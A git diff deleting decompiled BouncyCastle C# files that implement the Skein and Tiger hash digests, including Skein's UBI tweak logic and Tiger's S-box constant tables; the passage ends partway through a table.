a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinDigest.cs deleted file mode 100644 index a1ea4dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinDigest.cs +++ /dev/null @@ -1,74 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class SkeinDigest : IDigest, IMemoable -{ - public const int SKEIN_256 = 256; - - public const int SKEIN_512 = 512; - - public const int SKEIN_1024 = 1024; - - private readonly SkeinEngine engine; - - public string AlgorithmName => "Skein-" + engine.BlockSize * 8 + "-" + engine.OutputSize * 8; - - public SkeinDigest(int stateSizeBits, int digestSizeBits) - { - engine = new SkeinEngine(stateSizeBits, digestSizeBits); - Init(null); - } - - public SkeinDigest(SkeinDigest digest) - { - engine = new SkeinEngine(digest.engine); - } - - public void Reset(IMemoable other) - { - SkeinDigest skeinDigest = (SkeinDigest)other; - engine.Reset(skeinDigest.engine); - } - - public IMemoable Copy() - { - return new SkeinDigest(this); - } - - public int GetDigestSize() - { - return engine.OutputSize; - } - - public int GetByteLength() - { - return engine.BlockSize; - } - - public void Init(SkeinParameters parameters) - { - engine.Init(parameters); - } - - public void Reset() - { - engine.Reset(); - } - - public void Update(byte inByte) - { - engine.Update(inByte); - } - - public void BlockUpdate(byte[] inBytes, int inOff, int len) - { - engine.Update(inBytes, inOff, len); - } - - public int DoFinal(byte[] outBytes, int outOff) - { - return engine.DoFinal(outBytes, outOff); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinEngine.cs deleted file mode 100644 index 052b852..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/SkeinEngine.cs +++ /dev/null @@ -1,539 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class SkeinEngine : IMemoable -{ - private class Configuration - { - private byte[] bytes = new byte[32]; - - public byte[] Bytes => bytes; - - public Configuration(long outputSizeBits) - { - bytes[0] = 83; - bytes[1] = 72; - bytes[2] = 65; - bytes[3] = 51; - bytes[4] = 1; - bytes[5] = 0; - ThreefishEngine.WordToBytes((ulong)outputSizeBits, bytes, 8); - } - } - - public class Parameter - { - private int type; - - private byte[] value; - - public int Type => type; - - public byte[] Value => value; - - public Parameter(int type, byte[] value) - { - this.type = type; - this.value = value; - } - } - - private class UbiTweak - { - private const ulong LOW_RANGE = 18446744069414584320uL; - - private const ulong T1_FINAL = 9223372036854775808uL; - - private const ulong T1_FIRST = 4611686018427387904uL; - - private ulong[] tweak = new ulong[2]; - - private bool extendedPosition; - - public uint Type - { - get - { - return (uint)((tweak[1] >> 56) & 0x3F); - } - set - { - tweak[1] = (tweak[1] & 0xFFFFFFC000000000uL) | (((ulong)value & 0x3FuL) << 56); - } - } - - public bool First - { - get - { - return (tweak[1] & 0x4000000000000000L) != 0; - } - set - { - if (value) - { - ulong[] array; - (array = tweak)[1] = array[1] | 0x4000000000000000L; - } - else - { - ulong[] array; - (array = tweak)[1] = array[1] & 0xBFFFFFFFFFFFFFFFuL; - } - } - } - - public bool Final - { - get - { - return (tweak[1] & 0x8000000000000000uL) != 0; - } - set - { - if (value) - { - ulong[] array; - (array = tweak)[1] = array[1] | 0x8000000000000000uL; - } - else - { - ulong[] array; - (array = tweak)[1] = array[1] & 0x7FFFFFFFFFFFFFFFL; - } - } - } - - public UbiTweak() - { - Reset(); - } - - public void Reset(UbiTweak tweak) - { - this.tweak = Arrays.Clone(tweak.tweak, this.tweak); - extendedPosition = tweak.extendedPosition; - } - - public void Reset() - { - tweak[0] = 0uL; - tweak[1] = 0uL; - extendedPosition = false; - First = true; - } - - public void AdvancePosition(int advance) - { - if (extendedPosition) - { - ulong[] array = new ulong[3] - { - tweak[0] & 0xFFFFFFFFu, - (tweak[0] >> 32) & 0xFFFFFFFFu, - tweak[1] & 0xFFFFFFFFu - }; - ulong num = (ulong)advance; - for (int i = 0; i < array.Length; i++) - { - num = (array[i] = num + array[i]) >> 32; - } - tweak[0] = ((array[1] & 0xFFFFFFFFu) << 32) | (array[0] & 0xFFFFFFFFu); - tweak[1] = (tweak[1] & 0xFFFFFFFF00000000uL) | (array[2] & 0xFFFFFFFFu); - } - else - { - ulong num2 = tweak[0]; - num2 += (uint)advance; - tweak[0] = num2; - if (num2 > 18446744069414584320uL) - { - extendedPosition = true; - } - } - } - - public ulong[] GetWords() - { - return tweak; - } - - public override string ToString() - { - return Type + " first: " + First + ", final: " + Final; - } - } - - private class UBI - { - private readonly UbiTweak tweak = new UbiTweak(); - - private readonly SkeinEngine engine; - - private byte[] currentBlock; - - private int currentOffset; - - private ulong[] message; - - public UBI(SkeinEngine engine, int blockSize) - { - this.engine = engine; - currentBlock = new byte[blockSize]; - message = new ulong[currentBlock.Length / 8]; - } - - public void Reset(UBI ubi) - { - currentBlock = Arrays.Clone(ubi.currentBlock, currentBlock); - currentOffset = ubi.currentOffset; - message = Arrays.Clone(ubi.message, message); - tweak.Reset(ubi.tweak); - } - - public void Reset(int type) - { - tweak.Reset(); - tweak.Type = (uint)type; - currentOffset = 0; - } - - public void Update(byte[] value, int offset, int len, ulong[] output) - { - int num = 0; - while (len > num) - { - if (currentOffset == currentBlock.Length) - { - ProcessBlock(output); - tweak.First = false; - currentOffset = 0; - } - int num2 = System.Math.Min(len - num, currentBlock.Length - currentOffset); - Array.Copy(value, offset + num, currentBlock, currentOffset, num2); - num += num2; - currentOffset += num2; - tweak.AdvancePosition(num2); - } - } - - private void ProcessBlock(ulong[] output) - { - engine.threefish.Init(forEncryption: true, engine.chain, tweak.GetWords()); - for (int i = 0; i < message.Length; i++) - { - message[i] = ThreefishEngine.BytesToWord(currentBlock, i * 8); - } - engine.threefish.ProcessBlock(message, output); - for (int j = 0; j < output.Length; j++) - { - ulong[] array2; - ulong[] array = (array2 = output); - int num = j; - nint num2 = num; - array[num] = array2[num2] ^ message[j]; - } - } - - public void DoFinal(ulong[] output) - { - for (int i = currentOffset; i < currentBlock.Length; i++) - { - currentBlock[i] = 0; - } - tweak.Final = true; - ProcessBlock(output); - } - } - - public const int SKEIN_256 = 256; - - public const int SKEIN_512 = 512; - - public const int SKEIN_1024 = 1024; - - private const int PARAM_TYPE_KEY = 0; - - private const int PARAM_TYPE_CONFIG = 4; - - private const int PARAM_TYPE_MESSAGE = 48; - - private const int PARAM_TYPE_OUTPUT = 63; - - private static readonly IDictionary INITIAL_STATES; - - private readonly ThreefishEngine threefish; - - private readonly int outputSizeBytes; - - private ulong[] chain; - - private ulong[] initialState; - - private byte[] key; - - private Parameter[] preMessageParameters; - - private Parameter[] postMessageParameters; - - private readonly UBI ubi; - - private readonly byte[] singleByte = new byte[1]; - - public int OutputSize => outputSizeBytes; - - public int BlockSize => threefish.GetBlockSize(); - - static SkeinEngine() - { - INITIAL_STATES = Platform.CreateHashtable(); - InitialState(256, 128, new ulong[4] { 16217771249220022880uL, 9817190399063458076uL, 1155188648486244218uL, 14769517481627992514uL }); - InitialState(256, 160, new ulong[4] { 1450197650740764312uL, 3081844928540042640uL, 15310647011875280446uL, 3301952811952417661uL }); - InitialState(256, 224, new ulong[4] { 14270089230798940683uL, 9758551101254474012uL, 11082101768697755780uL, 4056579644589979102uL }); - InitialState(256, 256, new ulong[4] { 18202890402666165321uL, 3443677322885453875uL, 12915131351309911055uL, 7662005193972177513uL }); - InitialState(512, 128, new ulong[8] { 12158729379475595090uL, 2204638249859346602uL, 3502419045458743507uL, 13617680570268287068uL, 983504137758028059uL, 1880512238245786339uL, 11730851291495443074uL, 7602827311880509485uL }); - InitialState(512, 160, new ulong[8] { 2934123928682216849uL, 14047033351726823311uL, 1684584802963255058uL, 5744138295201861711uL, 2444857010922934358uL, 15638910433986703544uL, 13325156239043941114uL, 118355523173251694uL }); - InitialState(512, 224, new ulong[8] { 14758403053642543652uL, 14674518637417806319uL, 10145881904771976036uL, 4146387520469897396uL, 1106145742801415120uL, 7455425944880474941uL, 11095680972475339753uL, 11397762726744039159uL }); - InitialState(512, 384, new ulong[8] { 11814849197074935647uL, 12753905853581818532uL, 11346781217370868990uL, 15535391162178797018uL, 2000907093792408677uL, 9140007292425499655uL, 6093301768906360022uL, 2769176472213098488uL }); - InitialState(512, 512, new ulong[8] { 5261240102383538638uL, 978932832955457283uL, 10363226125605772238uL, 11107378794354519217uL, 6752626034097301424uL, 16915020251879818228uL, 11029617608758768931uL, 12544957130904423475uL }); - } - - private static void InitialState(int blockSize, int outputSize, ulong[] state) - { - INITIAL_STATES.Add(VariantIdentifier(blockSize / 8, outputSize / 8), state); - } - - private static int VariantIdentifier(int blockSizeBytes, int outputSizeBytes) - { - return (outputSizeBytes << 16) | blockSizeBytes; - } - - public SkeinEngine(int blockSizeBits, int outputSizeBits) - { - if (outputSizeBits % 8 != 0) - { - throw new ArgumentException("Output size must be a multiple of 8 bits. :" + outputSizeBits); - } - outputSizeBytes = outputSizeBits / 8; - threefish = new ThreefishEngine(blockSizeBits); - ubi = new UBI(this, threefish.GetBlockSize()); - } - - public SkeinEngine(SkeinEngine engine) - : this(engine.BlockSize * 8, engine.OutputSize * 8) - { - CopyIn(engine); - } - - private void CopyIn(SkeinEngine engine) - { - ubi.Reset(engine.ubi); - chain = Arrays.Clone(engine.chain, chain); - initialState = Arrays.Clone(engine.initialState, initialState); - key = Arrays.Clone(engine.key, key); - preMessageParameters = Clone(engine.preMessageParameters, preMessageParameters); - postMessageParameters = Clone(engine.postMessageParameters, postMessageParameters); - } - - private static Parameter[] Clone(Parameter[] data, Parameter[] existing) - { - if (data == null) - { - return null; - } - if (existing == null || existing.Length != data.Length) - { - existing = new Parameter[data.Length]; - } - Array.Copy(data, 0, existing, 0, existing.Length); - return existing; - } - - public IMemoable Copy() - { - return new SkeinEngine(this); - } - - public void Reset(IMemoable other) - { - SkeinEngine skeinEngine = (SkeinEngine)other; - if (BlockSize != skeinEngine.BlockSize || outputSizeBytes != skeinEngine.outputSizeBytes) - { - throw new MemoableResetException("Incompatible parameters in provided SkeinEngine."); - } - CopyIn(skeinEngine); - } - - public void Init(SkeinParameters parameters) - { - chain = null; - key = null; - preMessageParameters = null; - postMessageParameters = null; - if (parameters != null) - { - byte[] array = parameters.GetKey(); - if (array.Length < 16) - { - throw new ArgumentException("Skein key must be at least 128 bits."); - } - InitParams(parameters.GetParameters()); - } - CreateInitialState(); - UbiInit(48); - } - - private void InitParams(IDictionary parameters) - { - IEnumerator enumerator = parameters.Keys.GetEnumerator(); - IList list = Platform.CreateArrayList(); - IList list2 = Platform.CreateArrayList(); - while (enumerator.MoveNext()) - { - int num = (int)enumerator.Current; - byte[] value = (byte[])parameters[num]; - if (num == 0) - { - key = value; - } - else if (num < 48) - { - list.Add(new Parameter(num, value)); - } - else - { - list2.Add(new Parameter(num, value)); - } - } - preMessageParameters = new Parameter[list.Count]; - list.CopyTo(preMessageParameters, 0); - Array.Sort((Array)preMessageParameters); - postMessageParameters = new Parameter[list2.Count]; - list2.CopyTo(postMessageParameters, 0); - Array.Sort((Array)postMessageParameters); - } - - private void CreateInitialState() - { - ulong[] array = (ulong[])INITIAL_STATES[VariantIdentifier(BlockSize, OutputSize)]; - if (key == null && array != null) - { - chain = Arrays.Clone(array); - } - else - { - chain = new ulong[BlockSize / 8]; - if (key != null) - { - UbiComplete(0, key); - } - UbiComplete(4, new Configuration(outputSizeBytes * 8).Bytes); - } - if (preMessageParameters != null) - { - for (int i = 0; i < preMessageParameters.Length; i++) - { - Parameter parameter = preMessageParameters[i]; - UbiComplete(parameter.Type, parameter.Value); - } - } - initialState = Arrays.Clone(chain); - } - - public void Reset() - { - Array.Copy(initialState, 0, chain, 0, chain.Length); - UbiInit(48); - } - - private void UbiComplete(int type, byte[] value) - { - UbiInit(type); - ubi.Update(value, 0, value.Length, chain); - UbiFinal(); - } - - private void UbiInit(int type) - { - ubi.Reset(type); - } - - private void UbiFinal() - { - ubi.DoFinal(chain); - } - - private void CheckInitialised() - { - if (ubi == null) - { - throw new ArgumentException("Skein engine is not initialised."); - } - } - - public void Update(byte inByte) - { - singleByte[0] = inByte; - Update(singleByte, 0, 1); - } - - public void Update(byte[] inBytes, int inOff, int len) - { - CheckInitialised(); - ubi.Update(inBytes, inOff, len, chain); - } - - public int DoFinal(byte[] outBytes, int outOff) - { - CheckInitialised(); - if (outBytes.Length < outOff + outputSizeBytes) - { - throw new DataLengthException("Output buffer is too short to hold output"); - } - UbiFinal(); - if (postMessageParameters != null) - { - for (int i = 0; i < postMessageParameters.Length; i++) - { - Parameter parameter = postMessageParameters[i]; - UbiComplete(parameter.Type, parameter.Value); - } - } - int blockSize = BlockSize; - int num = (outputSizeBytes + blockSize - 1) / blockSize; - for (int j = 0; j < num; j++) - { - int outputBytes = System.Math.Min(blockSize, outputSizeBytes - j * blockSize); - Output((ulong)j, outBytes, outOff + j * blockSize, outputBytes); - } - Reset(); - return outputSizeBytes; - } - - private void Output(ulong outputSequence, byte[] outBytes, int outOff, int outputBytes) - { - byte[] array = new byte[8]; - ThreefishEngine.WordToBytes(outputSequence, array, 0); - ulong[] array2 = new ulong[chain.Length]; - UbiInit(63); - ubi.Update(array, 0, array.Length, array2); - ubi.DoFinal(array2); - int num = (outputBytes + 8 - 1) / 8; - for (int i = 0; i < num; i++) - { - int num2 = System.Math.Min(8, outputBytes - i * 8); - if (num2 == 8) - { - ThreefishEngine.WordToBytes(array2[i], outBytes, outOff + i * 8); - continue; - } - ThreefishEngine.WordToBytes(array2[i], array, 0); - Array.Copy(array, 0, outBytes, outOff + i * 8, num2); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/TigerDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/TigerDigest.cs deleted file mode 100644 index 384e7bf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/TigerDigest.cs +++ /dev/null @@ -1,373 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class TigerDigest : IDigest, IMemoable -{ - private const int MyByteLength = 64; - - private const int DigestLength = 24; - - private static readonly long[] t1 = new long[256] - { - 192161084409973854L, -6034178070669973268L, 8272369121297300691L, 7854730284916899642L, -3631738584360316525L, 8463286011307239906L, -5664346993730092093L, 5082381371487377520L, -1536603760329757466L, -4232985935611735204L, - 5541490850629862524L, 766444128913191948L, 1204553577021685498L, -4121719295987045526L, 1401289229890216703L, 1893918052108309022L, 5461170853188208586L, 2807403890869420487L, -8822417684582283338L, 5699452412975025298L, - -2914262034798377397L, -8199292901130911363L, 7624427211800470465L, -5330070367527189138L, 9043806901924967914L, 7231827479902542914L, -4667804575905660192L, 6875646691050945796L, -954047427515838778L, 7786398710221814956L, - 8167597339425066981L, 1830707105885056415L, -192929137551915557L, -4000909680243679221L, -8790383730744944306L, -6559119868654993229L, -8046943608939121133L, -2635222011098072079L, 1783120314242633559L, 248005612187258982L, - 7688500634458409525L, -799055769434250085L, 8591138587399736033L, -2813706756098348539L, -4803442773389201549L, 5042603696143252264L, 2053990370701680515L, -8434990628116389527L, 3741955435321465241L, 4334407786093429776L, - -5399798173115342087L, 1449859124008718907L, -259597992345095852L, -2299784421946890745L, -8624947886301142065L, -7850603641235491331L, 3847074041673952000L, 4649400157396704725L, -4273499526689310132L, -3840742565288711634L, - 2909491499011162061L, 4458122598401901638L, 7071481730398905774L, 6725294491764459774L, -6201551736110472662L, -4372530048007926361L, 1226483701329067140L, -2522035007050864557L, -3676115808446124170L, -4975751036383735295L, - -1831728144282101387L, -7732658914112356844L, 479582384021555544L, 8040612334407127321L, -2798227069691230528L, -1334228551670664750L, 8751740296797632830L, 6603430683508552489L, 8942924799792477540L, 3573742753214737511L, - -2419519573825602302L, 6349030933445924429L, -2501945979441900175L, -6177453506703404958L, -7885857697280165792L, 5194369709296555225L, 7174555471952375656L, 7982812746821821468L, -8707669106532426453L, 3232013613859041307L, - -5747376245209101971L, -2231459388012946321L, 3112410413624570453L, -2336602742119691332L, 6658792778814911418L, 6126246269502162262L, -6070952467612144753L, 4721051187472420532L, -5533619424469951182L, -4853025588084287359L, - 2663576151211431276L, 928112258657309258L, 5664920977038299994L, 2704699625848084345L, 2312925355491498803L, -528812816973409076L, 2964761606854114992L, 4148718494125202372L, 4082542483235864459L, 5171535286737311423L, - 2166137813939512309L, 8844224567096109974L, -6373247044080797239L, -8133614489572350707L, 7053919794999990929L, 5576291611870337032L, -1374825740467639573L, -734453569254161202L, -705972172313107935L, -6688726126811769884L, - -7468621655906046812L, -3527580439205474383L, -6956282119872554589L, -6281089153129775081L, 853355433004222246L, -1924221946255713479L, 2124075034376372323L, 5881355904936746717L, 1033318428544969251L, 1692585388818821524L, - -1245985052454466526L, 1107424405919510210L, -9211670503851965599L, -5975256720516651978L, 963191604767572015L, 4506934758573727688L, -6511972687387035778L, -6714534832456272315L, 7421261837586505858L, 3318186242040429129L, - -4402061108394378299L, 1910808081503L, 4771413979138012118L, -3357965141731676491L, -6811660122601107496L, 3247421105326436348L, -1009844908434318049L, 8353265116968520410L, -5881406294935394735L, -7574869783018555510L, - 6528592316425799439L, -3049672598698961616L, -3303981966096002009L, 7320455443630736945L, -7351974990356818097L, 2539802313181221187L, -7307523792611951465L, 6084456898448652712L, 1615327116689102472L, 8126548348642832045L, - -1094214848903295726L, 6320848846662414801L, -1163799684465161365L, 3439926484095136410L, -7218302546559918104L, 4583261464596863494L, 5278432013075676693L, 672210957064462075L, -5420889727701263133L, -3948047341652367807L, - 3753742208681096767L, -5185515461782971584L, -460252340867529358L, 111470777923844445L, 1951374535466601971L, -8875343681432095955L, -4493729248843343338L, 4830799035278983864L, -5224728565293047538L, 6842302225500364445L, - -7111193868311747516L, -2729919277420993032L, -5582278241003401657L, -126421769187551098L, -4035721366655415313L, -1986169280154305277L, 3977519900599801820L, 9148781857317432677L, 6468933130968205401L, 8516219711084257782L, - 1539015908620793624L, 7527026033758878374L, -1647949680688450337L, 3088835283432281588L, 3651919061693825289L, -8985256062000155568L, -423165018983337331L, -7032056788937726985L, 308165109378616703L, 8884692927086426203L, - 2438838841395254149L, -3550173447755953499L, 2823241734971430590L, 3896218688877146334L, 393786506094771122L, -3117973570538943511L, -7973569017697024389L, -8368763565314219996L, 6934559736714979565L, -589348163057397487L, - -7554853961030558080L, -6878676038788161577L, -3798065817641571893L, -9101961441510934879L, -4559443103670756675L, -7665374195348870830L, -8336074436196531783L, 4236391428300945648L, 555138268555536248L, 5351590591369890935L, - 4306521946498657944L, -7151482210676895604L, 4901816398460471456L, -9033789479800328823L, 7485939926152528684L, -5105994143555176462L, 6245128712556390173L, -4718679834244078161L, -325273111308121687L, 7772052866533484500L, - 639373189613950878L, 2515940555210603828L, -2058685867725021174L, 9187445612742136046L, -5771987833248487369L, -2125811817212952004L, -3204735567712096048L, -3393897870002714342L, 1313621308117380133L, 3526835097255131285L, - -4953033604042954265L, 8704164972314360376L, -920137909863202916L, 5969067443919232116L, 5791404459833380522L, -1682712826007985785L, 6001456072058810555L, -8273861206301250160L, 2241175407069758350L, -2962551490920225208L, - 8359644330926224055L, -8523485772611717717L, -5183265553382750L, -1789270636298447811L, -6471656072873752544L, -1458735953920612486L - }; - - private static readonly long[] t2 = new long[256] - { - -1826563305001377480L, -5358963986493047656L, 6213947727727520144L, 5496303794639560149L, -2795981259149962188L, 642450021946863605L, -2925749420550550287L, -4252676236223476327L, -2372897249057438062L, -2455723000952046826L, - 8011611286970690052L, 5372247966639775667L, -6490268738015937967L, -265982677241022690L, -1711898199407229911L, -2553549223344005918L, -3655427155680827379L, 1788379855404599063L, 3792259505844355329L, 857793142685420274L, - 2176386753693503798L, -2281187609587102471L, -12877901320348396L, 6070247714570225101L, 7358743242340641331L, -8703516059324417162L, 1522910625901990663L, -2134847759353728262L, 5235630359010597374L, -5774648161970196758L, - 277273466943670671L, 3580831169916433691L, -1032406685548103719L, 4657750985732713388L, 1177149711660596421L, 8685721698255572101L, -3227632359902186326L, -6349410231276355429L, -4809500581665772080L, -7923309769729008016L, - -6726740716384263588L, -4587792071496920925L, -658271017113840853L, 3834592178494549117L, -3853851402329989932L, -8865288174312808228L, 8774750272303345432L, -8428026360225307604L, -3404183201405868250L, 6519077675840655372L, - 1009372798613472243L, -4504928615151511518L, 7670504156571609794L, -9068448121725124008L, 7481699948221361317L, 2131352009749933493L, 7854556580946198495L, 5848046147829288198L, 6811751916476253359L, -635956774299390418L, - -4737535235939835750L, -1614809042241653147L, 8245611441321613668L, 8087057586628171618L, 5058061449640751271L, -5151918184365513026L, 7212395796113148780L, 8872633840395976086L, 8602726521519041395L, -5885490816789515276L, - 6042660761688602872L, 1642367900117110883L, 25924001596622557L, 7531865058110106323L, 4223621278438660202L, 3926684511422013614L, -2064363959953346089L, 5939130201053773422L, 8312208923375399755L, 5278156969609628584L, - -5712322089306707131L, 3610014133393185213L, -8850224129823554669L, -7989215126425784091L, 7953444341930717599L, -5072589324995998940L, -3677986556148923193L, 5127306049615917691L, 9121210965518562125L, 8462056263389103903L, - -743704981880018871L, 5658738406708581754L, 3084862250275496789L, -2839477530259368618L, -3966384508771725354L, -3487534071112132806L, -123994483119243460L, -1345606558677941971L, -8999779576894164844L, -4191785782441631580L, - 1116769798908306816L, 1871732813531574911L, -5639228995346094013L, 2050857069623328786L, 942713319182180155L, -8555767913901511542L, -1938713800388260250L, 7028952989422544417L, 9018945159409650955L, -9098571702620193189L, - 512456053301416255L, -4053543709501018729L, -4330900206871259305L, -1512795427272957464L, -3102984968199159270L, -7389706432295929941L, -6638196300801425917L, -7112719166685012944L, 4569666897377300404L, -7151449437793514816L, - 4462677101358564049L, 3679240545963649394L, -4129112553160565951L, 776201060342576796L, -1202834617519492059L, -842133208882402856L, -8445297248460022090L, 3458390008116962295L, -8107400727032609416L, 6618311662604863029L, - 4790267690900900096L, 1716087693007726108L, 4148457837926911568L, -5418957485852076861L, 8968309666649857421L, -2611360075161572255L, 6968029403465067289L, -3584187592496365262L, 500987773930853904L, -8168172799095912208L, - 2355660670689429871L, 3178293543037890097L, -5583593033549110520L, -6297125087914569009L, 894835714693979080L, -5305826774090122525L, -348051181029808153L, 352461093517089771L, 5441805419015688358L, -3049381223523647492L, - 3501129463520285556L, -4980126173351398283L, -8303518980934164731L, -7446347735086057113L, 2615208954064994172L, -522603252265687058L, 2237558221535645089L, -3911919600557704777L, -5210711461681408094L, 7102368496127332321L, - -7719366717024918019L, 399232473491847935L, 7140013836546489399L, -8234741283244511424L, -2231392863125672626L, -7060197492102713059L, 5038446221635409553L, 6294769326316815049L, -387802090031244907L, -3350046130045840024L, - -2666808022981539793L, -6161723600240465717L, 2783168786742146440L, 1986639352536355296L, -1988727118208302602L, 8799325730492140254L, 7305467695957075406L, 2551364576700533681L, -6081001307066006598L, -4889804522683628146L, - -7324859595388608820L, -6885748294050442179L, 5760535140236403614L, 1501217875009212803L, -1291632093432900094L, -7706153952057205239L, 6454505253869455699L, 4319683495060363885L, -6244922308576078969L, -6818767823778904188L, - 2960027307368769952L, 8570410701452901115L, 160427886842421800L, -4969938860820756853L, -4627442630994782527L, -3285648034072744413L, -7606118162332863056L, 6176075057452006273L, 7582622308322968760L, 6649763778434249567L, - -183456705028906550L, 2699628156079216836L, -1767231947251866451L, 2945653313023238585L, 2813841150172635667L, 8163160757531991904L, -7212422464109809801L, -5924618728816493121L, 649720531103423106L, 6394120152722619742L, - -934965811117111118L, 4753049982369101610L, 2408845162401379802L, 1253140645631747605L, -7799048643966905049L, -1584266091164108743L, -456002869645138839L, 8367255505928917714L, 91400768704631494L, -4464375255980341934L, - 1938401838693046941L, -7520293791609324052L, -8636597607271566304L, 3990523136699180870L, 7731749711829208666L, 4875740361372990282L, 9173201802070489451L, 7834799413446679311L, -6433392137177717442L, 3325271250982575439L, - -8730608807451740020L, -2389358865336045484L, -9209652622095187875L, 4359958813756723849L, 4539467735137059035L, -5508531677782308793L, 1312945880979454078L, -947428475416758718L, 4958176066159770025L, 1374196081931091686L, - -6918434684938959032L, -1095184559281703237L, -1411469442470588444L, 3145683508650593868L, -6039522865352658195L, -3804467173852034031L, -6563710254104815428L, 6868326517302426863L, 6758043032196830276L, 5827167051130463242L, - 4074828688890126937L, 3293442170241026694L, -8065760984084440343L, 5618223731912049521L, -3014545685365689991L, 2520538699101199374L - }; - - private static readonly long[] t3 = new long[256] - { - -819712100864953445L, 5224129141031473793L, -1683494792012715969L, 3214246200928423523L, -2720183745931134014L, 3432136347919366758L, -6844377996819786796L, -4697838837464539535L, -3480123136110369641L, -5257202687841710057L, - -3160671586143389472L, -8143604544638974599L, -7582212342885995579L, 7399204607179264370L, 2410740665327626235L, -5531319028708868287L, -1132011872800708955L, -8244108713684067595L, -8100030830173699490L, -865042824158552761L, - -1406263208487841571L, -743744098937138031L, -7255025749313877870L, 5293216666010209768L, -6686350151342941087L, 505172698323928814L, -8504163865352868456L, -6039198373597746942L, 2102395425312436973L, -1480681786698906867L, - 6364975572501938982L, -7035658141633266754L, -8022507636838873565L, -4480433668109774745L, 2328871106231838244L, 1378680973804076623L, -3586772320324138908L, -2755027987269747529L, 7519553577929664460L, 460638964809724379L, - -99820877092259348L, 6562793443469826132L, 1580997072160885165L, 859005579845670993L, -3058956174016989192L, -3379814835910611228L, -3936971176641920257L, -8723858077265400670L, 3784640730692549981L, -2514946515147142870L, - -718211188705137671L, 5877026246039211124L, -8623573777109189598L, -6383628662057423219L, 4036482174343220762L, -6451625591996463702L, -5974472282720051687L, -4119613249555124729L, -4204805774663870152L, 1637614953354483776L, - 1768420517056302872L, -6063481615036972513L, 4469119677486524438L, 6862084742702193339L, 2666591392741323510L, 1958911907595193257L, 2078226524874004819L, 9182514826368667184L, -5667455777910095811L, -6961112304229951815L, - 7984583406477441100L, 5152724216922222472L, -2011927023009527807L, -212234053999724107L, 4838452819165657451L, -8437636414480207278L, -4364095106444861094L, -8843563141488759799L, -952547977505311611L, 7192165871822020282L, - -8957588412064574366L, 4293149567017494192L, 6266031685674981260L, 3297360663327026118L, -7424220229153493459L, 1848411117523063487L, 4803542876947788811L, -6514007507455064743L, 3918859449562378630L, 7730455268829558643L, - 2300310138214025757L, 5073098731442674389L, -1867327214174801803L, -5119713925479725192L, 2481833961960165662L, 3483465760582650171L, -3799159280037322961L, -2614176868807805682L, 3683901813415452623L, -6586240258798896426L, - -6280196637815307286L, -6878770741467980580L, -8649528727307138543L, 1263269478536931145L, -7419991789716909164L, -5769815365846261236L, 7280608515770959015L, 7790930297845911262L, -5059374975740702796L, -6705059931318638429L, - 8900403996915095151L, 8816891275549542045L, -476483339080012016L, -1232282160203339243L, 3119849171172694992L, 7662494604586420558L, 149203013753700084L, 5530308158539891708L, 4143436129840869576L, -3411623459852687238L, - -1026352410626214551L, -8324492521276276327L, 6707891355510602429L, 5715986277202524800L, -393206988093480487L, 4600951196636466039L, -4593511655318796512L, 9065747437067558111L, -8901650410637853864L, 2592076422926394627L, - 228032410479194937L, 6667480117540136779L, 588648581915253038L, -2336950474993240516L, 3634608293302267354L, 1202024298738736502L, 6299068367672194603L, 1932346445954743183L, 7573861666572117031L, -61815566784892605L, - 3549459440654955014L, 8158286332358861718L, -7670372790848096527L, -515956617046547146L, -3963219078081420846L, 8464707252757847009L, 397230465775035974L, -4957137534187579283L, 675316509725923312L, 2628613740627889320L, - -2532211618462009391L, 5345232712238813773L, -4776658006885916949L, 3062009004852183467L, -2381228231588757251L, 74184876899443393L, -1882978417976974457L, 9131956796466541322L, 8604540880985875509L, 22099178757704754L, - -1755823172185693422L, -7115222264497037070L, 2945473010562318822L, -3264392033958139096L, 2789803412788518275L, -5023951698716947073L, -2879016497062593138L, 1017933909609308228L, -2136777458168640962L, 8230916861376446652L, - -4050239832011059757L, 8983610917420146076L, 8543542228473779244L, 1721876046845854392L, -2252284190053484385L, 5559864569757380000L, 4937681992884682033L, -5441254327629638811L, -9066842030330493037L, 5670390740934713304L, - 2219071780988037499L, 7008521987288882964L, 6028345117330418825L, -7500176903196747008L, 7071075452076274675L, -1604175089662029304L, 1445978213955986826L, -7979034942316814172L, 951333080223670799L, 6099155138413436065L, - -4305900099056973791L, -6236769450809946705L, -2912898243239114769L, -2065740773420267803L, -3827177893057145596L, 1340472571717533606L, -3648363291767490877L, -5756567784146095673L, 4461163794677446508L, -5848717005041324781L, - 3341940384398866564L, -4882598382547103543L, 3829921822543532494L, 899996630714791418L, 6478536468284266291L, 2994597028103565543L, 6124895672834828926L, -8376542604899771579L, -4412652237062246342L, -7724700941812371646L, - 728866099714851926L, 339635816873858970L, -1153572816294167456L, -592215260546165052L, -7150089944179092253L, 8700134485486622004L, -5552633324984327062L, -1298517758115136471L, 8749621007278605595L, -6133576477421907076L, - 4199955888901663150L, -5341432795218012713L, -239890188217778377L, 8106773277103211697L, -2229320058079270256L, 5930619164422717276L, 4368075505682949467L, 4623369983466747106L, 8403817438537116875L, -5327756068839670070L, - 1151085119119418028L, 6933250016240323664L, 6814675599201764477L, -2995490164984896514L, 5778917359701360712L, -7334472845550608018L, -9212347808668562614L, -7786744047088363785L, 4025584697920591189L, 5446500518121291045L, - -7866665254384488512L, -352887593087136842L, 8290028954029701554L, 